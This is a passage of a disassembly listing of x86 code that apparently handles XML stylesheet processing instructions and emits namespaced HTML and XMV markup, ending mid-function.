asc_69B83A88:				; DATA XREF: sub_69B83984+9Bo
		unicode	0, </>
		dw 3Eh
		unicode	0, <>,0
		align 10h
aStylesheet:				; DATA XREF: sub_69B83984+6Eo
		dw 3Ch
		unicode	0, <STYLESHEET >,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B83AAA	proc near		; DATA XREF: .text:69B14760o

pvarg		= VARIANTARG ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		push	edi
		xor	ebx, ebx
		push	esi
		mov	[ebp+var_4], ebx
		call	dword ptr [eax+4]
		cmp	[esi+77h], bl
		mov	eax, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		mov	[esi+4Ch], eax
		jz	short loc_69B83AEC
		cmp	edi, ebx
		jz	short loc_69B83AEC
		mov	eax, [esi+34h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [esi+10h]
		push	edx
		push	eax
		call	dword ptr [ecx+0Ch]
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	loc_69B83D75	; default


loc_69B83AEC:				; CODE XREF: sub_69B83AAA+23j
					; sub_69B83AAA+27j
		cmp	edi, 9		; switch 10 cases
		ja	loc_69B83D75	; default
		jmp	ds:off_69B83D85[edi*4] ; switch	jump


loc_69B83AFC:				; DATA XREF: .text:off_69B83D85o
		push	0FFFFFFFFh	; jumptable 69B83AF5 case 0
		mov	ecx, esi
		call	sub_69B8259B
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	loc_69B83D75	; default
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		mov	[esi+7Ch], ebx
		call	VariantInit
		mov	eax, [esi+40h]
		cmp	eax, ebx
		jz	short loc_69B83B37
		mov	ecx, [eax]
		push	ebx
		lea	edx, [ebp+pvarg]
		push	edx
		push	offset aMsoxslurl ; "msoXSLUrl"
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	[ebp+var_4], eax


loc_69B83B37:				; CODE XREF: sub_69B83AAA+78j
		cmp	[ebp+var_4], ebx
		jnz	short loc_69B83B86
		cmp	word ptr [ebp+pvarg.anonymous_0], 8
		jnz	short loc_69B83B86
		mov	eax, dword ptr [ebp+pvarg.anonymous_0+8]
		cmp	eax, ebx
		jz	short loc_69B83B86
		cmp	[eax], bx
		jz	short loc_69B83B86
		push	dword ptr [esi+5Ch] ; BSTR
		mov	dword ptr [esi+58h], 2
		call	SysFreeString
		push	dword ptr [ebp+pvarg.anonymous_0+8] ; OLECHAR *
		call	SysAllocString
		mov	[esi+5Ch], eax
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear
		cmp	[esi+5Ch], ebx
		jnz	short loc_69B83B90
		mov	[ebp+var_4], 8007000Eh
		jmp	loc_69B83D75	; default
; ---------------------------------------------------------------------------


loc_69B83B86:				; CODE XREF: sub_69B83AAA+90j
					; sub_69B83AAA+97j ...
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear


loc_69B83B90:				; CODE XREF: sub_69B83AAA+CEj
		lea	edi, [esi+48h]
		push	edi		; ppv
		push	offset stru_69B25E34 ; riid
		push	1		; dwClsContext
		push	ebx		; pUnkOuter
		push	offset stru_69B12148 ; rclsid
		call	ds:CoCreateInstance
		test	eax, eax
		jl	short loc_69B83BB7
		push	dword ptr [edi]
		mov	ecx, esi
		push	dword ptr [esi+38h]
		call	sub_69B8251E


loc_69B83BB7:				; CODE XREF: sub_69B83AAA+FFj
		push	15h
		lea	edx, [esi+90h]
		pop	ecx
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esi+20h]
		push	edx
		mov	dword ptr [edx], 54h
		mov	ecx, [eax]
		lea	edx, [esi+8Ch]
		push	edx
		push	eax
		call	dword ptr [ecx+20h]
		push	ebx
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_69B826F2
		test	eax, eax


loc_69B83BEA:				; CODE XREF: sub_69B83AAA+178j
		jz	loc_69B83D75	; default
		mov	[ebp+var_4], 8000000Ah
		jmp	loc_69B83D75	; default
; ---------------------------------------------------------------------------


loc_69B83BFC:				; CODE XREF: sub_69B83AAA+4Bj
					; DATA XREF: .text:off_69B83D85o
		inc	dword ptr [esi+68h] ; jumptable	69B83AF5 cases 1,3
		mov	[esi+70h], bl
		jmp	loc_69B83D75	; default
; ---------------------------------------------------------------------------


loc_69B83C07:				; CODE XREF: sub_69B83AAA+4Bj
					; DATA XREF: .text:off_69B83D85o
		dec	dword ptr [esi+68h] ; jumptable	69B83AF5 cases 2,4
		jmp	loc_69B83D75	; default
; ---------------------------------------------------------------------------


loc_69B83C0F:				; CODE XREF: sub_69B83AAA+4Bj
					; DATA XREF: .text:off_69B83D85o
		inc	dword ptr [esi+6Ch] ; jumptable	69B83AF5 case 6
		jmp	loc_69B83D75	; default
; ---------------------------------------------------------------------------


loc_69B83C17:				; CODE XREF: sub_69B83AAA+4Bj
					; DATA XREF: .text:off_69B83D85o
		dec	dword ptr [esi+6Ch] ; jumptable	69B83AF5 case 7
		jmp	loc_69B83D75	; default
; ---------------------------------------------------------------------------


loc_69B83C1F:				; CODE XREF: sub_69B83AAA+4Bj
					; DATA XREF: .text:off_69B83D85o
		cmp	[esi+28h], ebx	; jumptable 69B83AF5 case 9
		jmp	short loc_69B83BEA
; ---------------------------------------------------------------------------


loc_69B83C24:				; CODE XREF: sub_69B83AAA+4Bj
					; DATA XREF: .text:off_69B83D85o
		cmp	dword ptr [esi+58h], 1 ; jumptable 69B83AF5 case 5
		jnz	short loc_69B83C7F
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B83C40
		push	ebx		; int
		push	offset aXmlNamespacePr ; "<XML:NAMESPACE prefix='XMV'/>"
		call	sub_69B82200


loc_69B83C40:				; CODE XREF: sub_69B83AAA+189j
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B83C56
		push	ebx		; int
		push	offset aHtmlHead_0 ; "</html:head>"
		call	sub_69B82200


loc_69B83C56:				; CODE XREF: sub_69B83AAA+19Fj
		mov	ecx, esi
		mov	[esi+76h], bl
		mov	byte ptr [esi+78h], 1
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B83C73
		push	ebx		; int
		push	offset aHtmlBody ; "<html:body>"
		call	sub_69B82200


loc_69B83C73:				; CODE XREF: sub_69B83AAA+1BCj
		mov	eax, [esi+30h]
		mov	byte ptr [eax+1Dh], 1
		jmp	loc_69B83D75	; default
; ---------------------------------------------------------------------------


loc_69B83C7F:				; CODE XREF: sub_69B83AAA+17Ej
		lea	edi, [esi+48h]
		cmp	[edi], ebx
		mov	[esi+76h], bl
		jnz	short loc_69B83CBF
		push	edi		; ppv
		push	offset stru_69B25E34 ; riid
		push	1		; dwClsContext
		push	ebx		; pUnkOuter
		push	offset stru_69B12148 ; rclsid
		call	ds:CoCreateInstance
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	loc_69B83D75	; default
		push	dword ptr [edi]
		mov	ecx, esi
		push	dword ptr [esi+38h]
		call	sub_69B8251E
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	loc_69B83D75	; default


loc_69B83CBF:				; CODE XREF: sub_69B83AAA+1DDj
		cmp	[esi+58h], ebx
		jnz	short loc_69B83CD4
		mov	eax, [esi+60h]
		cmp	eax, ebx
		jz	short loc_69B83CD4
		mov	[esi+58h], eax
		mov	eax, [esi+64h]
		mov	[esi+5Ch], eax


loc_69B83CD4:				; CODE XREF: sub_69B83AAA+218j
					; sub_69B83AAA+21Fj
		push	2
		pop	eax
		cmp	[esi+58h], eax
		mov	ecx, esi
		jnz	short loc_69B83CEA
		push	[ebp+arg_4]
		push	dword ptr [edi]
		call	sub_69B8337C
		jmp	short loc_69B83CF4
; ---------------------------------------------------------------------------


loc_69B83CEA:				; CODE XREF: sub_69B83AAA+232j
		push	dword ptr [edi]
		mov	[esi+58h], eax
		call	sub_69B8241A


loc_69B83CF4:				; CODE XREF: sub_69B83AAA+23Ej
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_69B83D75 ; default
		mov	ecx, [esi+30h]
		push	esi
		call	sub_69B821B6
		mov	eax, [esi+30h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+24h]
		jmp	short loc_69B83D75 ; default
; ---------------------------------------------------------------------------


loc_69B83D0F:				; CODE XREF: sub_69B83AAA+4Bj
					; DATA XREF: .text:off_69B83D85o
		mov	eax, [esi+7Ch]	; jumptable 69B83AF5 case 8
		cmp	eax, ebx
		jz	short loc_69B83D1A
		push	ebx
		push	eax
		jmp	short loc_69B83D6E
; ---------------------------------------------------------------------------


loc_69B83D1A:				; CODE XREF: sub_69B83AAA+26Aj
		cmp	dword ptr [esi+58h], 1
		mov	ecx, esi
		jnz	short loc_69B83D58
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B83D36
		push	ebx		; int
		push	offset aHtmlBody_0 ; "</html:body>"
		call	sub_69B82200


loc_69B83D36:				; CODE XREF: sub_69B83AAA+27Fj
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B83D4C
		push	ebx		; int
		push	offset aHtmlHtml_0 ; "</html:html>"
		call	sub_69B82200


loc_69B83D4C:				; CODE XREF: sub_69B83AAA+295j
		mov	eax, [esi+30h]
		mov	ecx, [eax]
		push	ebx
		push	eax
		call	dword ptr [ecx+20h]
		jmp	short loc_69B83D65
; ---------------------------------------------------------------------------


loc_69B83D58:				; CODE XREF: sub_69B83AAA+276j
		push	1
		push	[ebp+arg_4]
		call	sub_69B834CD
		mov	[ebp+var_4], eax


loc_69B83D65:				; CODE XREF: sub_69B83AAA+2ACj
		cmp	[ebp+var_4], ebx
		jge	short loc_69B83D75 ; default
		push	ebx
		push	[ebp+var_4]


loc_69B83D6E:				; CODE XREF: sub_69B83AAA+26Ej
		mov	ecx, esi
		call	sub_69B837DF


loc_69B83D75:				; CODE XREF: sub_69B83AAA+3Cj
					; sub_69B83AAA+45j ...
		mov	eax, [esi]	; default
		push	esi
		call	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B83AAA	endp

; ---------------------------------------------------------------------------
off_69B83D85	dd offset loc_69B83AFC	; DATA XREF: sub_69B83AAA+4Br
		dd offset loc_69B83BFC	; jump table for switch	statement
		dd offset loc_69B83C07
		dd offset loc_69B83BFC
		dd offset loc_69B83C07
		dd offset loc_69B83C24
		dd offset loc_69B83C0F
		dd offset loc_69B83C17
		dd offset loc_69B83D0F
		dd offset loc_69B83C1F
		align 10h
; const	WCHAR aHtmlHtml_0
aHtmlHtml_0:				; DATA XREF: sub_69B83AAA+298o
		dw 3Ch
		unicode	0, </html:html>
		dw 3Eh
		unicode	0, <>,0
		align 4
; const	WCHAR aHtmlBody_0
aHtmlBody_0:				; DATA XREF: sub_69B83AAA+282o
		dw 3Ch
		unicode	0, </html:body>
		dw 3Eh
		unicode	0, <>,0
		align 4
; const	WCHAR aHtmlBody
aHtmlBody:				; DATA XREF: sub_69B83AAA+1BFo
		dw 3Ch
		unicode	0, <html:body>
		dw 3Eh
		unicode	0, <>,0
; const	WCHAR aHtmlHead_0
aHtmlHead_0:				; DATA XREF: sub_69B83AAA+1A2o
		dw 3Ch
		unicode	0, </html:head>
		dw 3Eh
		unicode	0, <>,0
		align 4
; const	WCHAR aXmlNamespacePr
aXmlNamespacePr:			; DATA XREF: sub_69B83AAA+18Co
		dw 3Ch
		unicode	0, <XML:NAMESPACE prefix=>
		dw 27h
		unicode	0, <XMV>
		dw 27h
		unicode	0, </>
		dw 3Eh
		unicode	0, <>,0
aMsoxslurl:				; DATA XREF: sub_69B83AAA+81o
		unicode	0, <msoXSLUrl>,0

; =============== S U B	R O U T	I N E =======================================



sub_69B83E6C	proc near		; CODE XREF: sub_69B8436C+173p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		xor	ebx, ebx
		cmp	word ptr [esp+4+arg_0],	bx
		push	esi
		mov	esi, ecx
		jbe	loc_69B8418A
		movzx	eax, word ptr [esp+8+arg_0]
		push	ebp
		mov	ebp, ds:StrCmpNIW
		push	edi
		mov	[esp+10h+arg_0], eax


loc_69B83E8E:				; CODE XREF: sub_69B83E6C+316j
		mov	eax, [esp+10h+arg_4]
		mov	edi, [eax]
		mov	eax, [edi+4]
		add	[esp+10h+arg_4], 4
		cmp	eax, 21h
		ja	loc_69B8417E
		cmp	eax, 20h
		jnb	loc_69B8411F
		cmp	eax, 0Dh
		ja	loc_69B83FD7
		jz	loc_69B83F91
		dec	eax
		jz	loc_69B83F67
		dec	eax
		jz	loc_69B8411F
		dec	eax
		jz	short loc_69B83EEA
		dec	eax
		jz	short loc_69B83EE1
		dec	eax
		jnz	loc_69B8417E
		mov	byte ptr [esi+70h], 1
		jmp	loc_69B8417E
; ---------------------------------------------------------------------------


loc_69B83EE1:				; CODE XREF: sub_69B83E6C+63j
		mov	dword ptr [esi+54h], 3
		jmp	short loc_69B83F5F
; ---------------------------------------------------------------------------


loc_69B83EEA:				; CODE XREF: sub_69B83E6C+60j
		cmp	[esi+76h], bl
		mov	dword ptr [esi+54h], 1
		jz	short loc_69B83F24
		cmp	[edi+18h], ebx
		jnz	short loc_69B83F5F
		push	0Eh		; nChar
		push	offset aXmlStylesheet ;	"xml-stylesheet"
		push	dword ptr [edi+10h] ; lpStr1
		call	ebp ; StrCmpNIW
		test	eax, eax
		jz	short loc_69B83F1B
		push	0Eh		; nChar
		push	offset aXmlStyleshee_0 ; "xml:stylesheet"
		push	dword ptr [edi+10h] ; lpStr1
		call	ebp ; StrCmpNIW
		test	eax, eax
		jnz	short loc_69B83F5F


loc_69B83F1B:				; CODE XREF: sub_69B83E6C+9Dj
		mov	dword ptr [esi+54h], 4
		jmp	short loc_69B83F5F
; ---------------------------------------------------------------------------


loc_69B83F24:				; CODE XREF: sub_69B83E6C+88j
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B83F3A
		push	ebx		; int
		push	offset aXmvXmvpiOmn ; "<XMV:XMVPI omn='"
		call	sub_69B82200


loc_69B83F3A:				; CODE XREF: sub_69B83E6C+C1j
		push	edi
		mov	ecx, esi
		call	sub_69B83293
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B83F58
		push	ebx		; int
		push	offset asc_69B84250 ; "' "
		call	sub_69B82200


loc_69B83F58:				; CODE XREF: sub_69B83E6C+DFj
		mov	dword ptr [esi+54h], 2


loc_69B83F5F:				; CODE XREF: sub_69B83E6C+7Cj
					; sub_69B83E6C+8Dj ...
		mov	[esi+71h], bl
		jmp	loc_69B8417E
; ---------------------------------------------------------------------------


loc_69B83F67:				; CODE XREF: sub_69B83E6C+52j
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B83F7D
		push	ebx		; int
		push	offset dword_69B295A8 ;	lpString
		call	sub_69B82200


loc_69B83F7D:				; CODE XREF: sub_69B83E6C+104j
		push	edi
		mov	ecx, esi
		call	sub_69B83293
		mov	byte ptr [esi+71h], 1
		mov	[esi+72h], bl
		jmp	loc_69B8417E
; ---------------------------------------------------------------------------


loc_69B83F91:				; CODE XREF: sub_69B83E6C+4Bj
		cmp	[esi+6Ch], ebx
		jnz	loc_69B8417E
		cmp	[esi+54h], ebx
		jnz	loc_69B8417E
		cmp	[esi+72h], bl
		jz	short loc_69B83FCA
		lea	edx, [esi+74h]
		cmp	[edx], bx
		jnz	short loc_69B83FCA
		mov	ax, [edi+20h]
		mov	ecx, esi
		mov	[edx], ax
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B83FCA
		push	1		; int
		push	edx		; lpString
		call	sub_69B82200


loc_69B83FCA:				; CODE XREF: sub_69B83E6C+13Aj
					; sub_69B83E6C+142j ...
		push	edi
		mov	ecx, esi
		call	sub_69B83293
		jmp	loc_69B8417E
; ---------------------------------------------------------------------------


loc_69B83FD7:				; CODE XREF: sub_69B83E6C+45j
		sub	eax, 0Eh
		jz	short loc_69B8404C
		dec	eax
		dec	eax
		jz	short loc_69B84014
		dec	eax
		jz	short loc_69B83FF5
		dec	eax
		jnz	loc_69B8417E
		cmp	[esi+76h], bl
		jnz	loc_69B8417E
		jmp	short loc_69B83FCA
; ---------------------------------------------------------------------------


loc_69B83FF5:				; CODE XREF: sub_69B83E6C+175j
		cmp	[esi+76h], bl
		jnz	loc_69B8417E
		cmp	[esi+6Ch], ebx
		jnz	loc_69B8417E
		push	edi		; BSTR
		mov	ecx, esi
		call	sub_69B830D0
		jmp	loc_69B8417E
; ---------------------------------------------------------------------------


loc_69B84014:				; CODE XREF: sub_69B83E6C+172j
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B8402A
		push	ebx		; int
		push	offset asc_69B2A520 ; "<!--"
		call	sub_69B82200


loc_69B8402A:				; CODE XREF: sub_69B83E6C+1B1j
		push	edi
		mov	ecx, esi
		call	sub_69B83293
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	loc_69B8417E
		push	ebx
		push	offset asc_69B296A4 ; "-->"
		jmp	loc_69B84177
; ---------------------------------------------------------------------------


loc_69B8404C:				; CODE XREF: sub_69B83E6C+16Ej
		mov	eax, [esi+54h]
		cmp	eax, 4
		jnz	short loc_69B8409F
		cmp	dword ptr [esi+58h], 2
		jz	short loc_69B84067
		push	dword ptr [edi+14h]
		mov	ecx, esi
		push	dword ptr [edi+10h]
		call	sub_69B83984


loc_69B84067:				; CODE XREF: sub_69B83E6C+1ECj
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B8407D
		push	ebx		; int
		push	offset aHtmlLinkRelSty ; "<html:LINK rel=\"stylesheet\"	"
		call	sub_69B82200


loc_69B8407D:				; CODE XREF: sub_69B83E6C+204j
		push	edi
		mov	ecx, esi
		call	sub_69B83293
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	loc_69B8417E
		push	ebx
		push	offset asc_69B270DC ; ">"
		jmp	loc_69B84177
; ---------------------------------------------------------------------------


loc_69B8409F:				; CODE XREF: sub_69B83E6C+1E6j
		cmp	eax, 2
		jnz	short loc_69B840DC
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B840BA
		push	ebx		; int
		push	offset aOmv	; "omv='"
		call	sub_69B82200


loc_69B840BA:				; CODE XREF: sub_69B83E6C+241j
		push	edi
		mov	ecx, esi
		call	sub_69B83293
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	loc_69B8417E
		push	ebx
		push	offset aXmvXmvpi ; "'></XMV:XMVPI>"
		jmp	loc_69B84177
; ---------------------------------------------------------------------------


loc_69B840DC:				; CODE XREF: sub_69B83E6C+236j
		cmp	eax, 3
		jz	loc_69B8417E
		cmp	eax, 1
		jz	loc_69B8417E
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B84104
		push	ebx		; int
		push	offset aXmvXmvcd ; "<XMV:XMVCD>"
		call	sub_69B82200


loc_69B84104:				; CODE XREF: sub_69B83E6C+28Bj
		push	edi
		mov	ecx, esi
		call	sub_69B831E9
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B8417E
		push	ebx
		push	offset aXmvXmvcd_0 ; "</XMV:XMVCD>"
		jmp	short loc_69B84177
; ---------------------------------------------------------------------------


loc_69B8411F:				; CODE XREF: sub_69B83E6C+3Cj
					; sub_69B83E6C+59j
		cmp	dword ptr [esi+54h], 3
		jz	short loc_69B8417E
		cmp	[esi+72h], bl
		jz	short loc_69B84140
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B84140
		push	1		; int
		lea	eax, [esi+74h]
		push	eax		; lpString
		call	sub_69B82200


loc_69B84140:				; CODE XREF: sub_69B83E6C+2BCj
					; sub_69B83E6C+2C7j
		mov	ecx, esi
		mov	byte ptr [esi+72h], 1
		mov	[esi+74h], bx
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B8415E
		push	ebx		; int
		push	offset dword_69B841B0 ;	lpString
		call	sub_69B82200


loc_69B8415E:				; CODE XREF: sub_69B83E6C+2E5j
		push	edi
		mov	ecx, esi
		call	sub_69B83293
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B8417E
		push	ebx		; int
		push	offset dword_69B2959C ;	lpString


loc_69B84177:				; CODE XREF: sub_69B83E6C+1DBj
					; sub_69B83E6C+22Ej ...
		mov	ecx, esi
		call	sub_69B82200


loc_69B8417E:				; CODE XREF: sub_69B83E6C+33j
					; sub_69B83E6C+66j ...
		dec	[esp+10h+arg_0]
		jnz	loc_69B83E8E
		pop	edi
		pop	ebp


loc_69B8418A:				; CODE XREF: sub_69B83E6C+Bj
		cmp	[esi+72h], bl
		jz	short loc_69B841A5
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B841A5
		push	1		; int
		lea	eax, [esi+74h]
		push	eax		; lpString
		call	sub_69B82200


loc_69B841A5:				; CODE XREF: sub_69B83E6C+321j
					; sub_69B83E6C+32Cj
		mov	[esi+72h], bl
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
sub_69B83E6C	endp

; ---------------------------------------------------------------------------
		align 10h
; const	WCHAR dword_69B841B0
dword_69B841B0	dd 20h		aXmvXmvcd_0:				; DATA XREF: sub_69B83E6C+2ACo
		dw 3Ch
		unicode	0, </XMV:XMVCD>
		dw 3Eh
		unicode	0, <>,0
		align 10h
; const	WCHAR aXmvXmvcd
aXmvXmvcd:				; DATA XREF: sub_69B83E6C+28Eo
		dw 3Ch
		unicode	0, <XMV:XMVCD>
		dw 3Eh
		unicode	0, <>,0
aXmvXmvpi:				; DATA XREF: sub_69B83E6C+266o
		dw 27h
		dw 3Eh
		dw 3Ch
		unicode	0, </XMV:XMVPI>
		dw 3Eh
		unicode	0, <>,0
		align 4
; const	WCHAR aOmv
aOmv:					; DATA XREF: sub_69B83E6C+244o
		unicode	0, <omv=>
		dw 27h
		unicode	0, <>,0
; const	WCHAR aHtmlLinkRelSty
aHtmlLinkRelSty:			; DATA XREF: sub_69B83E6C+207o
		dw 3Ch
		unicode	0, <html:LINK rel="stylesheet" >,0
		align 10h
; const	WCHAR asc_69B84250
asc_69B84250:				; DATA XREF: sub_69B83E6C+E2o
		dw 27h
		unicode	0, < >,0
		align 4
; const	WCHAR aXmvXmvpiOmn
aXmvXmvpiOmn:				; DATA XREF: sub_69B83E6C+C4o
		dw 3Ch
		unicode	0, <XMV:XMVPI omn=>
		dw 27h
		unicode	0, <>,0
		align 4
; const	WCHAR aXmlStyleshee_0
aXmlStyleshee_0:			; DATA XREF: sub_69B83E6C+A1o
		unicode	0, <xml:stylesheet>,0
		align 4
; const	WCHAR aXmlStylesheet
aXmlStylesheet:				; DATA XREF: sub_69B83E6C+91o
		unicode	0, <xml-stylesheet>,0

; =============== S U B	R O U T	I N E =======================================



sub_69B842BA	proc near		; DATA XREF: .text:69B1476Co
		push	10h
		push	offset dword_69B84360
		call	sub_69B19C5C
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		mov	esi, [ebp+8]
		mov	eax, [ebp+0Ch]
		mov	[esi+4Ch], eax
		mov	[ebp-4], ebx
		mov	edi, [ebp+10h]
		mov	[esi+7Ch], edi
		lea	eax, [ebp-1Ch]
		push	eax
		mov	ecx, esi
		call	sub_69B82243
		mov	[ebp-20h], eax
		cmp	eax, ebx
		jz	short loc_69B842FA
		push	dword ptr [ebp-1Ch]
		push	eax
		mov	ecx, esi
		call	sub_69B837DF


loc_69B842FA:				; CODE XREF: sub_69B842BA+33j
		cmp	[esi+77h], bl
		jz	short loc_69B84313
		mov	eax, [esi+34h]
		mov	ecx, [eax]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		lea	edx, [esi+10h]
		push	edx
		push	eax
		call	dword ptr [ecx+18h]


loc_69B84313:				; CODE XREF: sub_69B842BA+43j
		mov	eax, [esi+7Ch]
		cmp	eax, ebx
		jge	short loc_69B84330
		cmp	[esi+28h], ebx
		jnz	short loc_69B84330
		cmp	[esi+80h], bl
		jnz	short loc_69B84330
		push	ebx
		push	eax
		mov	ecx, esi
		call	sub_69B837DF


loc_69B84330:				; CODE XREF: sub_69B842BA+5Ej
					; sub_69B842BA+63j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B84348
; ---------------------------------------------------------------------------


loc_69B84336:				; DATA XREF: .text:69B84364o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B8433F:				; DATA XREF: .text:69B84368o
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	ebx, ebx


loc_69B84348:				; CODE XREF: sub_69B842BA+7Aj
		mov	eax, [ebp-1Ch]
		cmp	eax, ebx
		jz	short loc_69B84355
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B84355:				; CODE XREF: sub_69B842BA+93j
		mov	eax, [ebp+10h]
		call	sub_69B1853C
		retn	14h
sub_69B842BA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_69B84360	dd 0FFFFFFFFh			dd offset loc_69B84336
		dd offset loc_69B8433F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8436C	proc near		; DATA XREF: .text:69B14770o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	[esi+2Ch], ebx
		mov	[esi+4Ch], eax
		jz	short loc_69B8438C
		mov	eax, 80004005h
		jmp	loc_69B844E5
; ---------------------------------------------------------------------------


loc_69B8438C:				; CODE XREF: sub_69B8436C+14j
		push	edi
		mov	edi, [ebp+arg_10]
		mov	eax, [edi]
		xor	ecx, ecx
		cmp	[eax+20h], ebx
		setnz	cl
		cmp	byte ptr [esi+77h], 0
		mov	[ebp+var_4], ecx
		jz	short loc_69B843BF
		mov	eax, [esi+34h]
		mov	ecx, [eax]
		push	edi
		push	[ebp+arg_C]
		lea	edx, [esi+10h]
		push	[ebp+arg_8]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		cmp	eax, ebx
		jl	loc_69B844E4


loc_69B843BF:				; CODE XREF: sub_69B8436C+35j
		movzx	eax, word ptr [ebp+arg_C]
		cmp	eax, ebx
		mov	[ebp+arg_8], ebx
		jle	loc_69B84486


loc_69B843CE:				; CODE XREF: sub_69B8436C+112j
		mov	eax, [ebp+arg_8]
		mov	eax, [edi+eax*4]
		mov	edi, [eax+14h]
		mov	ebx, [eax+10h]
		mov	eax, [eax+4]
		xor	cl, cl
		dec	eax
		cmp	eax, 17h	; switch 24 cases
		ja	loc_69B84471	; default
					; jumptable 69B843F0 cases 5,10,11,14,22
		movzx	eax, ds:byte_69B844FB[eax]
		jmp	ds:off_69B844EB[eax*4] ; switch	jump


loc_69B843F7:				; DATA XREF: .text:off_69B844EBo
		mov	cl, 1		; jumptable 69B843F0 cases 0-4,6-9,16,18,21,23


loc_69B843F9:				; CODE XREF: sub_69B8436C+84j
					; DATA XREF: .text:off_69B844EBo
		test	edi, edi	; jumptable 69B843F0 case 19
		jz	short loc_69B84471 ; default
					; jumptable 69B843F0 cases 5,10,11,14,22
		and	[ebp+arg_0], 0
		test	cl, cl
		jz	short loc_69B84431
		xor	eax, eax
		mov	ax, [ebx]
		push	eax
		call	sub_69B31987
		test	eax, eax
		jz	short loc_69B84438
		mov	[ebp+arg_0], 1
		jmp	short loc_69B84431
; ---------------------------------------------------------------------------


loc_69B8441D:				; CODE XREF: sub_69B8436C+C8j
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [ebx+eax*2]
		push	eax
		call	sub_69B31967
		test	eax, eax
		jz	short loc_69B84438
		inc	[ebp+arg_0]


loc_69B84431:				; CODE XREF: sub_69B8436C+97j
					; sub_69B8436C+AFj
		cmp	[ebp+arg_0], edi
		jb	short loc_69B8441D
		jmp	short loc_69B84471 ; default
					; jumptable 69B843F0 cases 5,10,11,14,22
; ---------------------------------------------------------------------------


loc_69B84438:				; CODE XREF: sub_69B8436C+A6j
					; sub_69B8436C+C0j
		push	0C00CE505h
		jmp	short loc_69B84467
; ---------------------------------------------------------------------------


loc_69B8443F:				; CODE XREF: sub_69B8436C+84j
					; DATA XREF: .text:off_69B844EBo
		and	[ebp+arg_0], 0	; jumptable 69B843F0 cases 12,13,15,17,20
		test	edi, edi
		jbe	short loc_69B84471 ; default
					; jumptable 69B843F0 cases 5,10,11,14,22


loc_69B84447:				; CODE XREF: sub_69B8436C+F2j
		xor	eax, eax
		mov	ax, [ebx]
		push	eax
		call	sub_69B319A7
		test	eax, eax
		jz	short loc_69B84462
		inc	[ebp+arg_0]
		inc	ebx
		inc	ebx
		cmp	[ebp+arg_0], edi
		jb	short loc_69B84447
		jmp	short loc_69B84471 ; default
					; jumptable 69B843F0 cases 5,10,11,14,22
; ---------------------------------------------------------------------------


loc_69B84462:				; CODE XREF: sub_69B8436C+E8j
		push	0C00CE508h


loc_69B84467:				; CODE XREF: sub_69B8436C+D1j
